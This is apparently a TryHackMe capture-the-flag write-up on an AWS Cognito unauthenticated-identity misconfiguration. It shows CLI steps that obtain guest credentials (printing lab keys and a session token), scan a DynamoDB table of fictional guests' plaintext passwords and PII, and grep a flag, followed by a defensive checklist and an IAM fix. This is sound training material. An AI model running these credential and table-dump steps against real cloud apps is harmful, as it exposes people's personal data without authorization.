Complimentary: DevSecOps x AWS (TryHackMe)

Link to the challenge on TryHackMe: Complimentary
🛎️ Concierge Briefing
Lambo installed the Byte Lotus Wellness app the day she arrived — it was free, it had great reviews (written by the app, but she didn't check), and it got her a tote bag for saying yes to camera, mic, contacts, and location access. No account needed. No login screen. It just… knows things about you the moment you open it.
That's the whole pitch: “complimentary” access, no friction, no sign-up. Something still has to be deciding what you're allowed to see, even without a login — and whatever that something is, it isn't checking very carefully.
Your objective: find out how the app knows anything about you at all, and see what else it's willing to hand over.
🏖️ TODAY'S ITINERARY
[ ] Track down the AWS mechanism issuing you credentials behind the scenes.
[ ] Use those credentials to dump more than your own record from the app's DynamoDB table.
[ ] Retrieve the flag from another guest's data.
📸 @0xMia's STORY
@0xMia· posted 40 min after room unlock
"okay wait, the wellness app never once asked me to log in and it STILL knew my name when I opened it đź’€ something has to be quietly handing it access behind the scenes... if you find whatever that something is, don't just check what it gives YOU. ask it for more đź‘€"
Cloud
AWS
Cognito
IAMÂ Misconfiguration
// Byte Lotus Wellness — guest dashboard
//
// No login screen on purpose: every visitor gets "free" AWS guest
// credentials from our Cognito Identity Pool so we can save wellness
// preferences without the friction of an account.
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";
AWS.config.region = AWS_REGION;
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID,
});
function guestId() {
let id = localStorage.getItem("byteLotusGuestId");
if (!id) {
// First visit: hand out a throwaway guest id, same as checking in.
id = "guest-" + Math.random().toString(36).slice(2, 10);
localStorage.setItem("byteLotusGuestId", id);
}
return id;
}
function renderDashboard(item) {
const el = document.getElementById("dashboard");
if (!item) {
el.textContent = "Welcome! We don't have wellness data for you yet — check back after your first spa visit.";
return;
}
el.textContent = [
"Name: " + (item.name ? item.name.S : "—"),
"Loyalty notes: " + (item.notes ? item.notes.S : "—"),
].join("\n");
}
AWS.config.credentials.get(function (err) {
if (err) {
console.error("Could not fetch guest credentials:", err);
return;
}
const dynamodb = new AWS.DynamoDB({ region: AWS_REGION });
dynamodb.getItem(
{
TableName: TABLE_NAME,
Key: { guest_id: { S: guestId() } },
},
function (err, data) {
if (err) {
console.error("Could not load dashboard:", err);
return;
}
renderDashboard(data.Item);
}
);
});
aws cognito-identity get-id \
--identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
--region us-east-1
aws cognito-identity get-id \
--identity-pool-id "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688" \
--region us-east-1
{
"IdentityId": "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195"
}
next
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195" \
--region us-east-1
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195" \
--region us-east-1
{
"IdentityId": "us-east-1:4d571309-b058-c3fe-2785-c19abdef4195",
"Credentials": {
"AccessKeyId": "ASIAU2VYTBGYFQ4B4OSV",
"SecretKey": "kUDq1CKFLl+ERVU83iiStoaVdgH7Uaezi89dn6Xs",
"SessionToken": "IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJHMEUCIEDCc0Q1RoViKeoecpFlOouDnFUbpXO9B5xfA6XDUNfmAiEAtx1CW+brU2LkuLKLSEd4yWBbYXe77wbDcPJYxPaJyP0qtwUIzv//////////ARAAGgwzMzIxNzMzNDcyNDgiDPmKExlOEJMC2VFMnSqLBSspbCNCECS3fBPf51CoxvIrGI3lhQ3LevGcQQaD0+gUBcf1S74LFMSUR5l3xcFUS4eYRtuhOBcXF7KVx/b0E7Mbc/GiA3nOnMsvkeBRDPTCu1r7mTqidfIY/28GS+l8Z0R+4NWTHLfmvwvQImbkaccQNb1mOwICeeLTHfMzjQU8zZrCtZLAwSUcjZGhUevMmc7WXmu+mdCmNuITa3wBE3Xq83jGewEtdKT/ijEyi01TL5k81ZPFUME/rR+2By+joc07kxGwfN3wFc4bVykc3KkZbnAO24B5HrUIuwwDIaTWFS8rDkrYG+5VHqm/S/33qsIz/DpSLNkVZ1tp3DHQpmboK26imgofGLxEZ2mquJiIhgZGMqITOg4bup0I0hn57k3hZnfqOmJMsZLjZFvsebKEQBVkNXD8tKKmQLgsHzwgyJPZBmCk8/L2vUh9tmlLrha6+enfinjNMxMGfpOjswNtwNe25EhybXffly8kiVuKuSIxcAU1ZHl+9m13o+HQIZBhjhocAihkgeQg7QTbvTqoaqDfFFoDRI+POqC2wZYarrDJYkFf5ywmvUSJD+z1MTZAcOjlAoznRpeLqpGZnwPynEsciswwCyA8Og/i8l9VFOFYFtpfkzVCZ1Gmb+kiTO2s09Hq84e6ZCPkvIveCMA/CkrItS9XAfIS+DuTiAfZgtJW1+Qp4ASQlCDBpySBH2zPNo/AZgyV9stauLEP0A+jhYi888mP4IbUCxTfZ/hxXCcB8GP1LNbv0lgAuR03vLI0+3dHrX9+liJwycHTnBjZefCDjYtG7p+4Wut8DZM5pHeFItZZAa9nqlvf4DMHjEEBn3DC9q4llM1ip2LMeaw9D4XCxlNdlWqTrTDmxLnTBjreAoV0oZ3h5ArFhn7fdaUj7D4WgINaLoEfWjhGmX/o55VjHdhKKRdNaA3nUSKFdLAU8LYhfXOkbERzF6UxBB4wgSY5qxypUPSO96hjoV8ROTF6KsMvhLpJDUPsntvbbKSer36QAjDuPilpPfhP1fVdywB7u4QzrXczI96r0nSXHq29h8UyFFiImPokBQJp3uyyZZ0W28j/R80Wb+RIVP41UT23gwqzWDkxYI5s5n2AwaQKB7ZFniSiz3MS3EcATm1W3RVz65qtBlSO3ZJ+gFCHB9pu1gqV0G3NLAjzfhB5SjUw9sBoA1NKD16JkSglKFz1FSWhi8LchqUiPD2k6oCqaQJZ3qcbj3UJPf2PYAIM4H1ueuPPC+xZ7lUM54gyS2x4kgldiyN9uccLKhyZnCvYo0K1WS6EdAJTPM/0zqS41pkEJaLlw7pLRIMFKn9YcCzeYp0RO801Gn0+7atZLv0j",
"Expiration": "2026-08-01T22:17:26+00:00
aws sts get-caller-identity
{
"UserId": "AROA2YR2KKQMU7XJ4LMJP:i-0a4bb4d524ee3e759",
"Account": "739930428441",
"Arn": "arn:aws:sts::739930428441:assumed-role/vulnerable-machine/i-0a4bb4d524ee3e759"
}
export AWS_ACCESS_KEY_ID="ASIAU2VYTBGYFQ4B4OSV"
root@ip-10-113-105-31:~# export AWS_SECRET_ACCESS_KEY="kUDq1CKFLl+ERVU83iiStoaVdgH7Uaezi89dn6Xs"
root@ip-10-113-105-31:~# export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEAYaCXVzLWVhc3QtMSJHMEUCIEDCc0Q1RoViKeoecpFlOouDnFUbpXO9B5xfA6XDUNfmAiEAtx1CW+brU2LkuLKLSEd4yWBbYXe77wbDcPJYxPaJyP0qtwUIzv//////////ARAAGgwzMzIxNzMzNDcyNDgiDPmKExlOEJMC2VFMnSqLBSspbCNCECS3fBPf51CoxvIrGI3lhQ3LevGcQQaD0+gUBcf1S74LFMSUR5l3xcFUS4eYRtuhOBcXF7KVx/b0E7Mbc/GiA3nOnMsvkeBRDPTCu1r7mTqidfIY/28GS+l8Z0R+4NWTHLfmvwvQImbkaccQNb1mOwICeeLTHfMzjQU8zZrCtZLAwSUcjZGhUevMmc7WXmu+mdCmNuITa3wBE3Xq83jGewEtdKT/ijEyi01TL5k81ZPFUME/rR+2By+joc07kxGwfN3wFc4bVykc3KkZbnAO24B5HrUIuwwDIaTWFS8rDkrYG+5VHqm/S/33qsIz/DpSLNkVZ1tp3DHQpmboK26imgofGLxEZ2mquJiIhgZGMqITOg4bup0I0hn57k3hZnfqOmJMsZLjZFvsebKEQBVkNXD8tKKmQLgsHzwgyJPZBmCk8/L2vUh9tmlLrha6+enfinjNMxMGfpOjswNtwNe25EhybXffly8kiVuKuSIxcAU1ZHl+9m13o+HQIZBhjhocAihkgeQg7QTbvTqoaqDfFFoDRI+POqC2wZYarrDJYkFf5ywmvUSJD+z1MTZAcOjlAoznRpeLqpGZnwPynEsciswwCyA8Og/i8l9VFOFYFtpfkzVCZ1Gmb+kiTO2s09Hq84e6ZCPkvIveCMA/CkrItS9XAfIS+DuTiAfZgtJW1+Qp4ASQlCDBpySBH2zPNo/AZgyV9stauLEP0A+jhYi888mP4IbUCxTfZ/hxXCcB8GP1LNbv0lgAuR03vLI0+3dHrX9+liJwycHTnBjZefCDjYtG7p+4Wut8DZM5pHeFItZZAa9nqlvf4DMHjEEBn3DC9q4llM1ip2LMeaw9D4XCxlNdlWqTrTDmxLnTBjreAoV0oZ3h5ArFhn7fdaUj7D4WgINaLoEfWjhGmX/o55VjHdhKKRdNaA3nUSKFdLAU8LYhfXOkbERzF6UxBB4wgSY5qxypUPSO96hjoV8ROTF6KsMvhLpJDUPsntvbbKSer36QAjDuPilpPfhP1fVdywB7u4QzrXczI96r0nSXHq29h8UyFFiImPokBQJp3uyyZZ0W28j/R80Wb+RIVP41UT23gwqzWDkxYI5s5n2AwaQKB7ZFniSiz3MS3EcATm1W3RVz65qtBlSO3ZJ+gFCHB9pu1gqV0G3NLAjzfhB5SjUw9sBoA1NKD16JkSglKFz1FSWhi8LchqUiPD2k6oCqaQJZ3qcbj3UJPf2PYAIM4H1ueuPPC+xZ7lUM54gyS2x4kgldiyN9uccLKhyZnCvYo0K1WS6EdAJTPM/0zqS41pkEJaLlw7pLRIMFKn9YcCzeYp0RO801Gn0+7atZLv0j"
root@ip-10-113-105-31:~# aws sts get-caller-identity
{
"UserId": "AROAU2VYTBGYCEB4JME2S:CognitoIdentityCredentials",
"Account": "332173347248",
"Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1
{
"Items": [
{
"password": {
"S": "digitaldetox2026"
},
"location": {
"S": "25.2055,55.2733"
},
"notes": {
"S": "Booked the quiet room for his \"digital detox.\" Checked email twice since writing that."
},
"guest_id": {
"S": "guest-vibe"
},
"email": {
"S": "vibe@hackerholidays.thm"
},
"phone": {
"S": "+1-555-0193"
},
"name": {
"S": "Vibe (Move Fast & Break Things)"
}
},
{
"password": {
"S": "sunkissed88"
},
"location": {
"S": "25.2048,55.2708"
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output json > /tmp/scan_full.json
cat /tmp/scan_full.json | grep -i "LastEvaluatedKey
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1 \
--output json | grep -io "flag{[^\"]*}\|thm{[^\"]*}"
THM{fr33_app_fr33_redacted!}
Conclusion
This challenge is a textbook unauthenticated AWS Cognito Identity Pool → overly-permissive IAM role → unrestricted DynamoDB access chain — one of the most common real-world cloud misconfigurations, not a novel AI attack. It's a good reminder that "AI security" engagements very often terminate in plain old cloud IAM failures once you follow the data flow behind the flashy frontend.
Vulnerabilities identified
Unauthenticated Cognito Identity Pool issuing real AWS credentials to anyone. The app hands out guest credentials via
CognitoIdentityCredentialswith zero login, zero auth challenge just callingget-idagainst the publicly-visibleIDENTITY_POOL_ID(hardcoded in client-side JS) gets you an Identity ID, andget-credentials-for-identityturns that into liveAccessKeyId/SecretKey/SessionToken. This is Cognito's "unauthenticated identities" feature used exactly as designed; the flaw is architectural, not a bug in Cognito itself.The unauth role is scoped far too broadly.
sts get-caller-identityconfirms the assumed role iscomplimentary-cognito-unauth-role. The intended use was "let this one guest read/write their own dashboard row" — but the actual IAM policy attached to that role permitsdynamodb:Scan(and evidently full table read) rather than being restricted toGetItem/PutItemon a single partition key.No row-level / fine-grained access control on DynamoDB. Even if the intent was "each guest can only see their own
guest_idrow," nothing enforces that at the IAM layer. Cognito supports scoping DynamoDB IAM policies to the caller's own identity via policy variables(dynamodb:LeadingKeys: ${cognito-identity.amazonaws.com:sub}), and that mechanism was either not used or misconfigured, allowing a full table Scan instead of aGetItemlimited to the caller's own partition key.Sensitive data stored in plaintext, unencrypted at the application level, in a table anyone can scan. The scan dump returned plaintext passwords, phone numbers, email, and precise geolocation for every guest — this is a severe data-exposure amplifier on top of the access control failure. Even with correct row-scoping, storing raw passwords in DynamoDB (vs. hashed/salted, or not storing them there at all) is its own finding.
Client-controlled identity with no server-side validation.
guestId()Generates a random ID entirely client-side (localStorage) with no backend issuing or validating it, meaning identity itself is trivially spoofable even before considering the IAM issue. An attacker doesn't just get to read others' data viaScan; they could also fabricate aguest_idand write/overwrite arbitrary "own" records viaPutItemif that's permitted too.Secrets/config exposed in client-side source. The Identity Pool ID, region, and table name are all embedded directly in shipped JavaScript. Identity Pool IDs are meant to be public (that's how Cognito unauth flows work), but this underscores that anything in client code must be treated as public; the security boundary has to live entirely in IAM policy, not in obscurity of the pool ID or table name.
DevSecOps checklist for this class of vulnerability
Design/architecture review:
Any "no login required" feature backed by cloud credentials → confirm whether an authenticated identity is actually needed to prevent lateral data access, before defaulting to Cognito unauthenticated identities.
Map every unauth/guest role to the exact minimum action set required (e.g.,
dynamodb:GetItem + dynamodb:PutItem, neverScan/Querywithout key conditions), least privilege by default, not by exception.For any per-user data table reachable by an unauth or shared role, explicitly verify fine-grained access control is enforced at the IAM policy level (
dynamodb:LeadingKeysconditions tied tocognito-identity.amazonaws.com:sub), not just assumed from application logic.
IAM/policy audit:
Run automated least-privilege analysis (AWS IAM Access Analyzer, Prowler, ScoutSuite, or similar) against every Cognito unauth/authenticated role on a recurring basis; flag any role with
Scan,*,or wildcard resource ARNs.Explicitly test: "what can
assumed-role/-cognito-unauth-roledo that isn't scoped to the caller's own identity?" as a standing red-team check for any app using Identity Pools.Alert on IAM policy changes that grant table-wide read/write actions to any Cognito unauth role.
Data handling:
Never store plaintext credentials/passwords in any datastore, regardless of access-control assumptions
hash+saltor eliminate entirely; defense in depth means this shouldn't be a crown-jewel exposure even if IAM fails.Classify PII fields (email, phone, geolocation) and apply field-level encryption or a separate, more tightly-controlled table/store for anything above "public profile" sensitivity.
Don't conflate "wellness profile you show back to the user" data with "
credentials/PII" data in the sameitem/table; separate stores make an IAM misconfiguration far less catastrophic.
Client-side hygiene:
Treat all client-bundled JS as fully public never rely on obscurity of pool IDs, table names, or endpoints as a control.
Don't derive identity purely client-side (
localStoragerandom ID) for anything that maps to real backend data access; require a backend-issued, validated session/identity token even in a "frictionless" flow.
Monitoring/detection:
Enable CloudTrail logging for
cognito-identity:GetCredentialsForIdentityand DynamoDB Scan calls; alert on Scan operations against tables that should only see GetItem/Query-by-key traffic from unauth roles.Set up GuardDuty (or equivalent) anomaly detection for unauth-role credential usage patterns that deviate from expected single-item access.
Patch/remediation
Immediately rotate/replace the exposed IAM role and any credentials tied to it assume the current unauth role and its permissions are fully compromised knowledge (this scan output alone is enough for real-world exploitation).
Rewrite the unauth role's IAM policy to allow only: explicitly removing
Scan/Queryand binding key access to the caller's own Cognito identity.{ "Effect": "Allow", "Action": ["dynamodb:GetItem", "dynamodb:PutItem"], "Resource": "arn:aws:dynamodb:us-east-1:<account>:table/complimentary-GuestWellnessProfiles", "Condition": { "ForAllValues:StringEquals": { "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"] } } }Migrate stored passwords out of DynamoDB entirely, or if credentials must be stored, hash them (
bcrypt/Argon2) and store only the hash; plaintext password storage is a finding independent of the access-control fix.Move
guestId()generation server-side, issued and validated against the Cognito Identity ID at write time, so a client can't fabricate or guess another guest's row key.Add automated policy-drift detection (e.g., AWS Config rules or a CI check on IaC) so any future change re-granting
Scanor wildcard actions to the unauth role fails a build/deploy gate rather than reaching production.




